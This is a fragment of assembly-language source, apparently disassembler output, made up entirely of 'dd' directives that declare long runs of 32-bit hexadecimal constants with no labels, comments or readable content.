		dd 5900D0E7h, 8E97FEC6h, 39929D03h, 0D381875Bh,	0E0FBCB5Dh
		dd 0E4FAC0F8h, 86275300h, 80C5259Bh, 0C7FC00EFh, 8DADE5FBh
		dd 0FB90FD94h, 489A8C00h, 0F3CF60A3h, 0C170AFD3h, 2081B67Bh
		dd 2D3C98D0h, 402C006Eh, 0DE487DD1h, 0C98D18FCh, 0AB772847h
		dd 9775E904h, 0D15D703Eh, 0C73D117Fh, 271DFB21h, 11F942E2h
		dd 0DF21CE9Bh, 907A0708h, 28ED8A9Dh, 84B48308h,	878B23Dh
		dd 0ADD742A1h, 0EEA60721h, 29D67903h, 19118542h, 40B21ACh
		dd 479DCCCh, 3B447C49h,	472F4872h, 2D90D889h, 2831818Fh
		dd 0EA325053h, 82F129D4h, 25AA843Ch, 0A1140417h, 0B81548D6h
		dd 4BC96900h, 0EA1DED17h, 3C828B00h, 0A9A4AA09h, 0CFF700ABh
		dd 9CA8D442h, 7D00AF1Eh, 0A34FB793h, 7159B5h, 0EF7D03Dh
		dd 8D73F155h, 6B260807h, 16505815h, 0A9D06h, 0F790819Ah
		dd 6A2BCFE4h, 1E00BAEEh, 0A35A2C92h, 8AD048h, 1490EE0Dh
		dd 60FAF858h, 0F343Eh, 8D2627DBh, 0AEEABBh, 5C40DF42h
		dd 57B03B30h, 6E67E600h, 69B455C5h, 0B3DA8021h,	415D5B01h
		dd 67E4901Ah, 562A1980h, 8E76BAB8h, 0DE1DE701h,	0D5241902h
		dd 0EAEF59D8h, 0F4C20044h, 2803F6AAh, 81004984h, 0B07619D6h
		dd 7F6A5358h, 6CF90B47h, 6C20796Bh, 4F40FBADh, 67ECB601h
		dd 5F81743Dh, 184CAD8h,	3A3C4DBDh, 0C8910355h, 400C6C2Ah
		dd 0E8975CCBh, 7AF83966h, 9DFF5087h, 5369C0D5h,	0CA01C10Dh
		dd 0AC6D90CDh, 0F3E475EAh, 5264B298h, 0D43FA850h, 76B8B80h
		dd 8D3D2F30h, 0BE49C100h, 0D1B452Bh, 0CDF0A1h, 0D54377ACh
		dd 0E2AD2294h, 0F937EA0Eh, 3F9AA062h, 0C65AC5h,	4EE8993Dh
		dd 0E9F6E49Eh, 0A60047Eh, 2FD6540h, 2B23008Dh, 0C9C7AA78h
		dd 6E3BC814h, 622C8074h, 0C5DAB244h, 0EFB8C09Dh, 0F3E6D749h
		dd 6C5E4200h, 13839ECh,	2AAC009Bh, 0AAABDA2Fh, 0F93C6AD3h
		dd 0BA838091h, 6DF5A454h, 0A81B4A52h, 0D22C070Bh, 0D3F0CB2Bh
		dd 0FA70C3h, 0B3DDD0BEh, 0C8EECA0Fh, 4E5052E8h,	0F01F7A88h
		dd 0A240862Bh, 0B732A1AFh, 0D1C13D4Ch, 0EEDF8B8Eh, 0D2FF8D00h
		dd 0CA009E33h, 6AB9E7C4h, 0DB4C9Ah, 0F9A684D8h,	24815B45h
		dd 7BDFD40Eh, 0EBAE02Ah, 0FBC65Eh, 64389471h, 0C2D7B20Fh
		dd 2BEFD607h, 81BEF3ACh, 0FFCFCEA4h, 17BF0C4h, 7AE90436h
		dd 203F1064h, 0AA1FA554h, 3E98528Ch, 1E885B10h,	5F3359FEh
		dd 0D7D75E14h, 0EA850572h, 0EC00D0B1h, 0C6005192h, 0D32DE83Bh
		dd 0FEE5A93Eh, 18A300BEh, 0B6D24060h, 0A63CC355h, 1E70001Fh
		dd 0AD906EB3h, 95BD0053h, 8CCAF113h, 380A2935h,	0E8143A2Ch
		dd 20897E00h, 60A95509h, 47F290B6h, 0FF062587h,	8D3F766Bh
		dd 192F0536h, 0C05A22E3h, 0F07C3D6Bh, 0EF27A41Fh, 181B1100h
		dd 0F8C68020h, 0E2EA54h, 85BEED1Ch, 0E30D39D7h,	0D9895800h
		dd 9646EA0h, 55E1023Eh,	8544D03Fh, 7B5A6440h, 0F9D24300h
		dd 0CCF75708h, 16760732h, 6123556Ch, 0D839EED9h, 84008D6Dh
		dd 0AD0C1399h, 0D745A6h, 0C1527C50h, 6CEAFA72h,	6EA85900h
		dd 30BA098Bh, 15FC0064h, 26958DB1h, 21D2F98h, 220058DEh
		dd 67FB9E9Bh, 1DB700DCh
		dd 2852FDD8h, 0E1121466h, 0A40EFA0Ch, 0A7B4E217h, 25B44072h
		dd 0A82663FBh, 46F06E88h, 53006DFCh, 8E58A4B0h,	54B5806Ch
		dd 4FCC4Bh, 1FA87AD7h, 0CB11DCF8h, 0C2C7400h, 0A4214B7Fh
		dd 7C9852h, 58E97B98h, 295DA2FEh, 4324C601h, 0A177B91Dh
		dd 0C90C30h, 7F0B5BB8h,	78736308h, 2B49009h, 116480F2h
		dd 97B46B3h, 58C0EC03h,	0D405BC01h, 0A1183099h,	72086989h
		dd 0BD00B27Fh, 689385D5h, 612FFBBh, 0A506EE76h,	0C70E4031h
		dd 9DE859BAh, 2388ADC0h, 0EF7DDFh, 0BD38121Dh, 7387A3A7h
		dd 8A830F00h, 0B0840BCBh, 779600F1h, 1B9DFAE6h,	0ED03D498h
		dd 4981458Bh, 937E0007h, 1A331C46h, 0E100CDC9h,	0D324C820h
		dd 129861FEh, 1D068Bh, 59E0D9B5h, 3A01A623h, 82ABD477h
		dd 0C8E4AAD3h, 0FF2A18B5h, 4A9A205Ah, 6C03BB0Eh, 9FEEC0D6h
		dd 71C0BEA7h, 66E100D5h, 2F6B2334h, 800A1946h, 84B79CE7h
		dd 4BB34200h, 0C18182h,	6AB42E9Fh, 8D54CF3Eh, 0E1622B0Eh
		dd 550C0326h, 9BF1C8A5h, 1EB5007Ah, 34580F6Dh, 750005DBh
		dd 66A47252h, 484E3643h, 0DC3E3810h, 409DEA92h,	77ECF1D8h
		dd 0B2F89FD2h, 9C00B090h, 0F475A468h, 33F5E7h, 0B979653Eh
		dd 249A924Fh, 19F37605h, 0C4003C2Eh, 0DB455238h, 580B0377h
		dd 0AB8FB2BCh, 0B4B84800h, 0D0094E9Ch, 5B221D43h, 5E36DDA5h
		dd 64C54026h, 8AA271D2h, 7FD8C58h, 4340F003h, 585C42F0h
		dd 75DB0001h, 10DDB91Fh, 0E1009A12h, 0CE92BFE4h, 3DB0EAC9h
		dd 0A98086A1h, 0F9E287E3h, 0A672C4B3h, 0CB008FEAh, 0C847BCCDh
		dd 3E6B0F8h, 7529F6Bh, 0DDB81CC2h, 8F0A0570h, 0B8BBB403h
		dd 136BAA07h, 26B849F1h, 0C623C440h, 45BC0007h,	1E29A2F3h
		dd 0BD0F4489h, 0E04E551Dh, 0D569FD3Ch, 0ECEC47h, 0ABC2F160h
		dd 98E99CBAh, 413A3E4Ch, 59A20B8h, 0A0C7B8A8h, 60276200h
		dd 9574D63Dh, 24D91FDDh, 9C4A8E17h, 8EDE340h, 0E03894Ch
		dd 0AADDEC2Bh, 0FFD590FCh, 0C5EF26EAh, 0B71060F0h, 0C27FBAD2h
		dd 0CF247807h, 0DFB017F3h, 41FCC7h, 360C13Fh, 9E13405Ch
		dd 4ABD7B1Dh, 5F85EDC0h, 33FFBEh, 3591612Fh, 8B37E70Dh
		dd 7960CD00h, 0A39C6C50h, 6E6400BDh, 661D77D4h,	5D3E1C1Fh
		dd 0EC9DA4B0h, 605F6200h, 192FBh, 0A1E4B808h, 77C932F7h
		dd 0F47B2900h, 42B35213h, 0AE430151h, 0A9719ACCh, 7978947Dh
		dd 19F72698h, 403FCE00h, 2491DEh, 7590153h, 6213A112h
		dd 786C7303h, 0D03C3525h, 0EC262305h, 0AC7600D9h, 0A80CC2CFh
		dd 0F7009399h, 0C6EC324Dh, 79ED6855h, 2F5D0041h, 63B69091h
		dd 0D400C375h, 1F2280BAh, 3B426915h, 0DB163BDAh, 46400CCh
		dd 0FBA88D1Ah, 4EC0D100h, 6EE0F68Eh, 0AC2849AEh, 2F263300h
		dd 0E322A0AFh, 0CB478600h, 1166A703h, 844603A5h, 0A469C10Bh
		dd 3A1DF1E8h, 58156E00h, 74689A5Ch, 4BC9AF5h, 0E05D1E85h
		dd 64B0C053h, 7A3B3717h, 0AB1061BFh, 2885A0E1h,	802E893Fh
		dd 7CAD6E84h, 502C4158h, 28736A20h, 0D8364A01h,	0A91E7724h
		dd 431420h, 692CE8CDh, 3CCF8B6Dh, 8DC8903h, 0C0455FB5h
		dd 0D05B64h, 0F044180Ah, 0A31AB217h, 4583403h, 0D8F752AFh
		dd 489C363Fh, 0C008204Dh, 990BBC63h, 0D90820EBh, 75D1C4D0h
		dd 0EC880909h, 8002254h, 7CFA8FB5h, 99E60800h, 64F05CF6h
		dd 25B090B9h, 0C0005BBAh, 2CD7B668h, 1A41259h, 39150335h
		dd 0CDD819CEh, 76E4002Dh, 9992E16Fh, 0B3390225h, 52A1005Ch
		dd 3ECC4ADBh, 2BC71288h, 0C4B0011Ah, 60B10A5Dh,	0B0A80648h
		dd 6876DA58h, 5711A46Bh, 0C8DDF780h, 1500C05Ah,	0DFEC519Fh
		dd 0C35DB9h, 797E91E9h,	5554E098h, 0F0331000h, 651953D6h
		dd 0A9D5007Bh, 984240AEh, 4413C2ADh, 84C00C59h,	0A8B356BCh
		dd 18A05C8Ch, 11160620h, 0FF11C17Ah, 5500B4E6h,	1875E72Fh
		dd 0B701268Dh, 0FE66D763h, 4020C19Bh, 4F403E4Ah, 6F78FB00h
		dd 375111DAh, 68806A01h, 5E894502h, 29ECD180h, 103F0ADEh
		dd 0BE0CE214h, 370D00C0h, 2A9A6E52h, 153100C4h,	0E6497D1Bh
		dd 3D006304h, 0D8A4585h, 188B18D2h, 98DAB29Fh, 590113A0h
		dd 0F11C2741h, 79C809CCh, 0D67D0082h, 0B99C04Eh, 0F81EF30Ch
		dd 0C2CEFBD4h, 9456E72Eh, 0F9123F80h, 11B71DDFh, 8B20080h
		dd 0E58439EFh, 0E43CFB00h, 0BDF47116h, 2DDC0033h, 4BEDBF44h
		dd 1B2EF398h, 4D004D0Eh, 7C7DB1E3h, 0ADC100FFh,	1FBEC224h
		dd 8901EEC8h, 0DDD23582h, 0AC2CE08Ch, 470B0E04h, 347940A6h
		dd 461497h, 93AC8FAAh, 0B24C88A5h, 6D715300h, 0B859E869h
		dd 0C7AE01CFh, 0C112EED1h, 0DC94DDB1h, 0BA00F401h, 5BBB8CA5h
		dd 265A21h, 0D5C7A905h,	1AE7095Dh, 0A5387100h, 2F31B9ADh
		dd 0A75300EEh, 817FA974h, 6500C915h, 0AB02E1C4h, 0A12859h
		dd 0AC387089h, 51727D84h, 3B2C7C00h, 556B17DCh,	0F12D3814h
		dd 9FA7C100h, 31A8F6Ah,	0ABE7A0Fh, 0D691E3AAh, 0E645D806h
		dd 465005Bh, 710F58A8h,	211CE9FCh, 1DC0A697h, 7585B963h
		dd 37E30026h, 54B7810Bh, 9B39063Fh, 0ACAF00F7h,	41826397h
		dd 96C03965h, 60FD4980h, 0AA645031h, 5C04911Eh,	84F86D80h
		dd 73F89EDh, 747B7E25h,	707C60C7h, 46745C11h, 509B1900h
		dd 0EF684CDBh, 0D4800313h, 0A27106Ah, 0F08D2800h, 0CFA1DC1Bh
		dd 0B8265129h, 585898D4h, 0A348006Eh, 2C11BD00h, 4597E0DCh
		dd 95DD9900h, 0DF4164B3h, 5371C3F5h, 6BA0293Ah,	0C50CA1A2h
		dd 0C006D1B0h, 522700C7h, 39333F57h, 2F007AF8h,	0D54C72DCh
		dd 0C0E69437h, 0E88A3B29h, 5F0395FAh, 5DFFAE66h, 1619D8A5h
		dd 0C093EA8Fh, 0F5AF5268h, 4302D8BCh, 8D0F83F9h, 0F49460C7h
		dd 95461239h, 0BBF040AEh, 0FC1BEA29h, 77D3158h,	0E2DC8C23h
		dd 173B0140h, 8EC83D8Ah, 2BEE7A80h, 0CBA1D43h, 0B3F2B500h
		dd 45A028ACh, 0E56412DAh, 65C91E91h, 0D1A87400h, 260020D3h
		dd 185E5A9Bh, 0BCFBDh, 28FDF7B7h, 0E1C92234h, 0F49B8700h
		dd 0FFC70ECCh, 0D31B0E98h, 6D80E558h, 0AF99475Dh, 1A33A41Eh
		dd 47B216CEh, 0A99079CEh, 0F7D431h, 567763CFh, 0EF3BEAF2h
		dd 4C601F01h, 76471E87h, 2026BF0h, 264549D9h, 70600474h
		dd 0C088150Dh, 9887002Fh, 4EFF2951h, 3100C3D3h,	0ABA7E986h
		dd 61FADh, 0D68FDC58h, 0F3AF18CFh, 16C19200h, 2F12E37Ch
		dd 10D7850h, 0CB813890h, 0E675F586h, 451D0DC0h,	0C7068F00h
		dd 0CF1A97BFh, 291B29F2h, 336A0F90h, 74CC8280h,	0D0971489h
		dd 90DB000Ah, 0BA36D898h, 800081D5h, 0AB1E744Fh, 740175EAh
		dd 6C4200A6h, 8CBD073Eh, 1703AFF7h, 76FC2287h, 0C6CAD8B0h
		dd 0C7B8A067h, 0D0EA3Dh, 66B36B62h, 35ADBF75h, 0CBBB871Eh
		dd 16DD26C0h, 12BC289h,	98B68C2Ah, 0FCCCCD6Fh, 8700B230h
		dd 27090E91h, 0A138F1h,	8D696741h, 0B3BF103Ch, 87A2B203h
		dd 0B77315DEh, 2480B9B7h, 14454Ch, 8EB41A6Ah, 0C7C56FD3h
		dd 16AD9344h, 0C0BE543Bh, 6EF7D73Ch, 0C3DB9500h, 0D2A93A7h
		dd 483702F3h, 924A41Eh,	0D5AD4640h, 3979333Fh, 52E400BDh
		dd 0A11F8B44h, 0F96A00BCh, 0A416E8A3h, 1A2ED371h, 48005266h
		dd 65102A4Fh, 18B709EBh, 5C4008A3h, 2F393039h, 773B8114h
		dd 0D5A91345h, 280E0C20h, 0D0B240h, 0FA73FD9Fh,	3F299622h
		dd 0C3394CB2h, 8E1F8F5Ah, 3DCC405Ch, 1B4E0Fh, 8E374F8h
		dd 9FC27671h, 296F8500h, 2B5C567Eh, 9A540115h, 0FD8CB746h
		dd 3E845110h, 0B192C86Ah
		dd 41050B98h, 0E5CCD15Dh, 1714A0h, 0BD4F382Ah, 2E19D73Fh
		dd 0A3CA7400h, 553A2F8Eh, 731EA6Dh, 0BB08E587h,	5DE7D0D8h
		dd 7400E166h, 0E92117A6h, 4F90AF7Ch, 41EC8006h,	2F58EFD1h
		dd 84AE0C66h, 0C0F8680Eh, 2726E460h, 8E0E692Eh,	2001FC07h
		dd 0B1D8E7DCh, 744C00D9h, 754F1261h, 0E803B225h, 372F512Bh
		dd 0BB19621h, 55FEB378h, 0E52B800h, 0BD3A6BD8h,	94118B97h
		dd 53048114h, 0FC52B8C2h, 21B0A083h, 0B4373Ah, 0B98ABF9h
		dd 758ED7E9h, 69E1B904h, 0E88067CAh, 7DC3A5CDh,	7CEA0048h
		dd 4E56124h, 0A1174602h, 0B000BBE1h, 331FF42Fh,	8C2E003Ah
		dd 0FA4FCDC9h, 37004DF1h, 54351299h, 275ABBA8h,	0EC878FD5h
		dd 809C35D6h, 181689ACh, 0EF234017h, 0EAE6B000h, 42F666Fh
		dd 4B152D0h, 36EDC07Eh,	3900F2DEh, 0EFD6E922h, 0E4A7228h
		dd 41EBD50Dh, 294BA6Ah,	4E29549h, 0FEEF3440h, 0DF075BFCh
		dd 2D76995Fh, 0ED3FAA03h, 8C005456h, 0DBB1F082h, 0A47D0061h
		dd 30D2E9D4h, 51000813h, 2071A26Dh, 2B49BDCh, 726BE1DEh
		dd 0F87B958Dh, 8BC18700h, 2062Bh, 1BB1AC78h, 6BDB7B71h
		dd 60528A00h, 0CCBEA18Dh, 9909008Eh, 8CC7C636h,	0A00C5BAh
		dd 26B40E48h, 3CD68375h, 7638CCh, 580F7CDFh, 2B08EF62h
		dd 4E530224h, 0DA718B07h, 0E5BEF7E0h, 18D9006Ah, 1BD6F26Eh
		dd 5001772h, 0E964748Dh, 0FC510B2h, 0E74BD3A1h,	0D8C08009h
		dd 0D031ED6h, 163A9DCh,	83B6E36Bh, 0AAE80028h, 0FAFE2495h
		dd 77000EF4h, 6705E569h, 74D04D02h, 1B37331h, 0A2DE75CCh
		dd 7018C69Dh, 361E4C65h, 7C03E9EEh, 8855EA31h, 76E160h
		dd 0BD7AF07Bh, 40D79D51h, 0FF6F480Ah, 9900A406h, 2F4A9F60h
		dd 0A3E680h, 2E8BC990h,	754345FEh, 650068EEh, 7FEEDB0Dh
		dd 3CA66732h, 710386DEh, 3646E9EDh, 0A6B8DA8h, 0E41DEEB0h
		dd 0B480F59Ch, 0CCBCE623h, 24BE0047h, 9205621Ch, 6D7AA311h
		dd 3B94B201h, 9E85543Dh, 0A69D70h, 0AB6C2DBh, 395B186h
		dd 4D006A77h, 67970E87h, 1C8327D2h, 80E00D18h, 4F293507h
		dd 0B9004AFEh, 8C36761Eh, 5C22B3h, 8654F5A5h, 0C28FA3E2h
		dd 0A44EF83Eh, 79E0DCF9h, 7E5CB8h, 15F86F5Ah, 0E00F1EADh
		dd 5237AF01h, 72C26695h, 1FB01C64h, 843A1340h, 91E02468h
		dd 20A9A570h, 811D316Dh, 64127E6h, 9736DCF4h, 0F051F442h
		dd 0A7470088h, 0A210B14Bh, 0BC00EEF6h, 3233AED0h, 19EFA8Eh
		dd 1D125F79h, 2CA874D8h, 3AAEA078h, 0DC92DCh, 39F5BE1Eh
		dd 0E3540E8Dh, 0A327ED03h, 1B8A20Bh, 0AB032CD9h, 0C284B12Dh
		dd 0B33F4C68h, 0BCC949h, 0FA62CCCEh, 633C56E8h,	3BCA2023h
		dd 75EDACC8h, 0A0578725h, 71A6A07Ch, 10F69Bh, 1853936Ah
		dd 499AB5C9h, 2997CD00h, 38EFCFFCh, 0E53000AAh,	7E77B65Bh
		dd 40C0F34Fh, 3978CED1h, 0F95400AFh, 0CD8951D9h, 920E6BF5h
		dd 3E52DD2h, 95C7F62Fh,	5EA514C7h, 0E88080C5h, 35FFF2Ah
		dd 0FCBD84E2h, 0DD88C745h, 0B40B5B63h, 0A0499CD5h, 25463F64h
		dd 0A6730A64h, 809CFE75h, 1D8B7A7Dh, 5F5CF8ABh,	5D620354h
		dd 0F319BC1Bh, 684A98CFh, 917200CEh, 0EC92783Dh, 14FA6553h
		dd 0C79AE807h, 0FC901757h, 0B9E1F1h, 0EC440512h, 7ABA807Dh
		dd 14D4D600h, 0E18F85A4h, 796D00B6h, 0F52C8782h, 1F07EAA7h
		dd 0E891CA3Ch, 0C02BF7E2h, 0F604A44h, 0D21EEE7Bh, 0E70280FFh
		dd 5BAC315Ch, 0FED6DB00h, 0A26FFAB0h, 7AA90083h, 1AC917D4h
		dd 0EB00BC6Ah, 0ED68B08h, 0F12BB5h, 0CAAF4435h,	7EBA5BDFh
		dd 0F6365107h, 0E430276Fh, 0F290FBh, 224FE968h,	18EFC460h
		dd 8B207A07h, 0F1502EADh, 3F566Bh, 0E6A8C9C1h, 0EA4A3A95h
		dd 2BC04F00h, 0BA522DF6h, 0A9E1009Ah, 0C240FC20h, 0C0981C54h
		dd 0EC183807h, 0B2800B6Ah, 860365h, 60FC5714h, 0D6F8BF6Ch
		dd 0E69C9100h, 1851951h, 28470738h, 60B9BB94h, 0D2062AFFh
		dd 0FBC6081Dh, 0D61E0A04h, 0A87084h, 420D38EBh,	0CA369180h
		dd 0CC4A13B8h, 6880F487h, 0ED74E32h, 0E63AE00Eh, 0FFC96140h
		dd 0A900C28Ch, 46E2F0A2h, 0B9BC4B8h, 0DDAB76CDh, 83FE8860h
		dd 3F3A1000h, 7ACAB34Ah, 9F2600EFh, 0A7EBF5A1h,	9600E97Ch
		dd 16C3032Fh, 1C8FC7EDh, 7EAB0C29h, 0F7E09080h,	5E544097h
		dd 6613120Fh, 75C0FDEEh, 27A7ACFCh, 0C9410077h,	3CC0B41Fh
		dd 33004881h, 65525A99h, 0C79044h, 2DC50F84h, 9DCD127Dh
		dd 2AE27400h, 0B3A9AFCAh, 0FBE80037h, 0A8810A87h, 730058D5h
		dd 0F23CE9A7h, 0FE3FF085h, 54AB4960h, 368D1600h, 68A93A52h
		dd 0DD2D3Fh, 77FDC288h,	2C9A3296h, 9C60Fh, 9076223Fh, 1600C492h
		dd 44E7A885h, 55250h, 406D7751h, 0DDD7CB60h, 3A045490h
		dd 6FC49BE2h, 3BFB00C0h, 15DA0063h, 0BB8D44C1h,	0CF037C77h
		dd 739EB0CCh, 9143E897h, 2272000Ch, 3F8E101Ch, 0D607CD0Fh
		dd 29A9FAD3h, 0C0F49700h, 1DD500C3h, 0CD469144h, 0F000C112h
		dd 41D2B147h, 3EF4DC0Ah, 5D0AA23Fh, 2694E830h, 88B40068h
		dd 0AED85AFCh, 0D653B209h, 6D368276h, 0E5B868A6h, 0B92D009Dh
		dd 41421084h, 3A00D1C2h, 57F0E66Ch, 0EFD389h, 3D818524h
		dd 0A62C98DEh, 0CB82D500h, 0B6635C6Dh, 10D16F1h, 0FB270146h
		dd 30254BF5h, 0DD3F9DD4h, 0DC8780E0h, 26E3EF63h, 1D8007Eh
		dd 7C401955h, 98EACD03h, 0AB482000h, 7BF045B2h,	52600061h
		dd 28B07C4Fh, 361431E3h, 0A00713h, 0A01E3339h, 999E9A1h
		dd 284C58C2h, 0F226EC40h, 0D546BC0Fh, 69E32014h, 8353DEh
		dd 219CCC08h, 0C1046AB5h, 0D0640902h, 0E3BE9FB3h, 8F53C8C5h
		dd 7DDF000Bh, 80617A9h,	0EA72077Ah, 80A88450h, 94864828h
		dd 641A9A00h, 0A24F0D2Ch, 0BFD00228h, 72A74E91h, 0B2D2A4C0h
		dd 0A16E6426h, 0DA8DB500h, 0A81D1Ah, 2858B710h,	73E36AAFh
		dd 0BD499B01h, 0A189A4ACh, 8DE830h, 0BE643365h,	928AE8E0h
		dd 0F2F6ACEAh, 0CC1B9800h, 20EB5BFDh, 0D5FF00BDh, 0D6FBE62Fh
		dd 8B48BAFAh, 0F95C03F0h, 0B828561Dh, 3DE5D146h, 0D80281AEh
		dd 0D9DFF438h, 2640F880h, 57769489h, 13A0DC48h,	8C00FC43h
		dd 34EB6D64h, 0B023A8Fh, 0FBDE07FFh, 0AC7750C2h, 0B14D1DB4h
		dd 944E0048h, 49F833B0h, 1DB02EEh, 4BD6C858h, 0CD60405Eh
		dd 2E797E13h, 0C448B9h,	0DCE87B25h, 0E739E3D5h,	5D4D1ED7h
		dd 359C006Dh, 56C8DB1h,	9B218777h, 746490BFh, 0C47E288Bh
		dd 7E636A00h, 0A6871F97h, 57701D4Dh, 0D75449B9h, 0E95E8800h
		dd 0C95F8F80h, 0E49A042h, 448E60FFh, 873F04D9h,	0C0D89709h
		dd 0FE8A7A82h, 1BFC4C00h, 3712ACB1h, 52EE0039h,	91667D9Bh
		dd 550017B7h, 0FE463D62h, 74C2A2h, 87C91157h, 0E65CA5ABh
		dd 3FE42300h, 0B1645954h, 0CDB00082h, 0AA703C7Ch, 6500D480h
		dd 0F096D025h, 0BE9A7Eh, 902F85BBh, 505435CDh, 0CCDBBA28h
		dd 0CFE6A475h, 60711803h, 17972FEEh, 80C9CECCh,	48C6D3ECh
		dd 4281CF00h, 0EBE46183h, 1EC70023h, 242145BDh,	8905E22Bh
		dd 3D116744h, 0CC0136C4h, 9D8FBAFCh, 94CC70h, 8D9E3265h
		dd 151DA107h, 7D955800h, 13BC730Bh, 98B045h, 0EAF927E0h
		dd 0D0E70C93h, 0DD87BB01h, 75C58DF3h, 2F6C30h, 0C70177C2h
		dd 43C8EE73h, 809E533Dh, 2A275F14h, 0B1BFF90h, 76D57B17h
		dd 0C002B405h, 8B184046h, 220A6900h, 0DF31608Ah, 0CA1101C0h
		dd 1BF02B4Fh, 0A6C8F35Fh, 0C27CC7BDh, 2E6BDE48h, 3D00CC6Dh
		dd 0A22666B8h
		dd 563F002Bh, 0F20EBE4Bh, 820020A6h, 9846C614h,	2E0F436h
		dd 7015543h, 4C74915Dh,	0D0003A13h, 6602B22Ah, 2E6812FBh
		dd 0A47480C6h, 3802B7B0h, 1236CA63h, 7DB4E03Dh,	0C1661CD3h
		dd 683B8083h, 58097A88h, 0BD173Fh, 38AF20B7h, 0B84CA72Ch
		dd 0EB6100C0h, 8786D4FCh, 26016FE5h, 4E434035h,	9A20E68Ah
		dd 2828C0B8h, 31F7078Fh, 46B0C03h, 0E064D049h, 65B5CBh
		dd 0F1C39C79h, 0E6CE93DBh, 103E1F00h, 305FB28Dh, 0BE5C04A9h
		dd 903187E2h, 60F6BB04h, 0E1AF2D01h, 0B0DC08D1h, 5EC4802Ah
		dd 0D67EB76Fh, 0B2B1C03h, 0AFCA26E0h, 46174900h, 0BDF1000Dh
		dd 89E10169h, 3175D73Dh, 0DB79BB00h, 0C5637044h, 0BE9E0066h
		dd 628C2D90h, 8898B9BFh, 29398870h, 4BFCh, 0ADE831BDh
		dd 0BC7BC6h, 6486973Dh,	0F03BB81h, 0A64E4Ch, 0DE89E72Fh
		dd 0A1AB62h, 0C1567E87h, 573912BAh, 5E731B00h, 6A8A519Ch
		dd 12ACB6A9h, 47EC00DDh, 729DA63Ah, 206E5A60h, 308A24A0h
		dd 42A0FCECh, 0A600BB45h, 73919217h, 0C0D6F63Eh, 87DBABA8h
		dd 0DD2C5C19h, 803F2046h, 9DAA3228h, 0BB05Eh, 0FB2AD058h
		dd 56750CBFh, 33300F73h, 0F7D860DFh, 31933B6Ch,	0BB0180C8h
		dd 2C0CD09Ch, 92D4241Ch, 0D42D5700h, 3FC62388h,	0B00F1C9Bh
		dd 0D6298025h, 0A0708417h, 2CFD10B8h, 0D9020038h, 0D76D8C6Fh
		dd 0EC1F0334h, 3671BFE8h, 941C7FE8h, 0C4C14B09h, 0FB6C6096h
		dd 0B441182Eh, 611B4175h, 0A76A9A00h, 62019457h, 0B9AE00ECh
		dd 79C380F3h, 0CE004076h, 0A8983EF4h, 9F2BF22h,	8C366F3Ch
		dd 5BFF9880h, 0BD5023FEh, 9D03D3A5h, 0D2F59C6Eh, 0F8D6E377h
		dd 3299875h, 272CCCF8h,	7800AF82h, 3CB5E2C6h, 0C86A78h
		dd 0BE4D03EAh, 46D58F5Dh, 7F51D015h, 0AB1501E8h, 2A9B4161h
		dd 354D3E4h, 7AA3BD4Ch,	3CD8C8C4h, 5500EF9Eh, 5DFF844Ah
		dd 90875340h, 0D5798Ch,	0D20691F2h, 0AFAE90EBh,	0D918C9h
		dd 0ABF77B55h, 1E5B0009h, 4453E9B3h, 0F600945Ch, 359786F4h
		dd 280683E5h, 3AEC410Ch, 93BF300Eh, 6B8B2200h, 0EBB42088h
		dd 0E92EA376h, 8580688Ah, 6FDBED9Dh, 0C49058C4h, 0BBDF0C00h
		dd 3DA80DBEh, 0EBAC9E00h, 0B31A1561h, 0DBD800A4h, 9CE98551h
		dd 9B004FF3h, 743AE5D9h, 3289F34h, 1FBE5477h, 0DEB04ED3h
		dd 70976615h, 0F6A413C8h, 69002028h, 29E6FD1Dh,	0BEB1BB0Eh
		dd 7F8B0053h, 0E939ACh,	0FA6F872Fh, 3C960E8Eh, 28A940FBh
		dd 3F27BD4Ah, 524460E3h, 922D0064h, 572F5D45h, 9C079D78h
		dd 0DF4DE882h, 23F0A41Bh, 0CBDE9A01h, 11D8242Ah, 92C5A000h
		dd 0B50C4573h, 0DF600AAh, 8E994355h, 0E0B83465h, 3D8DDF24h
		dd 3DDE5400h, 27C7C28Ch, 4000CC4Bh, 0B1DFE8B6h,	9B2BB806h
		dd 0B19302Eh, 0E7058CDAh, 844D44C0h, 0C904CE00h, 9054F41Ch
		dd 999C78Dh, 0D58AE0F2h, 50004068h, 9CF30FDBh, 333A349Fh
		dd 7E51E462h, 6CD6E1F9h, 0C27D1770h, 0CF830800h, 98A75C3h
		dd 0FD930152h, 1D8EEC00h, 0D93ACD2Ch, 95369FC0h, 52030D6Ch
		dd 0E0B1A877h, 0E019E255h, 5C4EA23h, 0F92E4AE6h, 3DDCB008h
		dd 3922850Ah, 7B008048h, 0A9E656D1h, 68435020h,	4E362A40h
		dd 0BA9100A4h, 14DF2D45h, 22016FB2h, 378A47C0h,	4DFCB18Ch
		dd 0C04854D1h, 0C2D300CFh, 95E30BA2h, 0E1D2F170h, 30B92E10h
		dd 0B1C5114Ah, 7F4CB2DCh, 0EDA500C7h, 0CF7AD519h, 85007839h
		dd 81D60E6Ah, 2643653h,	3A9704BAh, 0C40063Ch, 0EF7C58C6h
		dd 0B8D2D70Ch, 104822h,	14123398h, 0DE55E638h, 940BC04Fh
		dd 60AA001Fh, 48D2896Eh, 5F075059h, 0C64F6822h,	0E100102Dh
		dd 3B9C63E8h, 30A60FD3h, 10182E8Ch, 4A027672h, 84B631B5h
		dd 0FDA0604Eh, 90AD402Ch, 0B8870C5Eh, 81868B80h, 555B0C52h
		dd 0D84006E6h, 83432E38h, 23F00A63h, 7665E2CDh,	0C48B0034h
		dd 45FF164Eh, 6141D300h, 98E27B96h, 464763Dh, 382AD85Bh
		dd 25F4C0CCh, 70F8F6CEh, 1C20F000h, 85E3935h, 7519E84Ah
		dd 46AC01AFh, 0DF14C23Eh, 0AB2FD0D4h, 9D1CEC00h, 0C8F2124Ah
		dd 89ED0782h, 0B73E0D99h, 0B85130FDh, 0A4189E16h, 6BB01209h
		dd 824C04B7h, 87FEA739h, 4AE44389h, 305C37B8h, 7F00607Ah
		dd 580E1A04h, 13C33DBh,	0A26DE841h, 0ED060AA7h,	6188C03Eh
		dd 0F5479D0Bh, 76848023h, 979B44h, 0E4F358FAh, 66F9E237h
		dd 3E007E7Ch, 0F4E6A989h, 125A0ADAh, 0A04B97D9h, 6A1D0434h
		dd 0D1809830h, 7EDB2EEFh, 0D63E00EAh, 0D80B428Fh, 15008636h
		dd 0C8EF184Bh, 0E33952Bh, 1693B12Fh, 4F191060h,	5C243165h
		dd 1D824092h, 70599h, 35FD0C1Fh, 4034BC27h, 1E7F6C4h, 43A574CDh
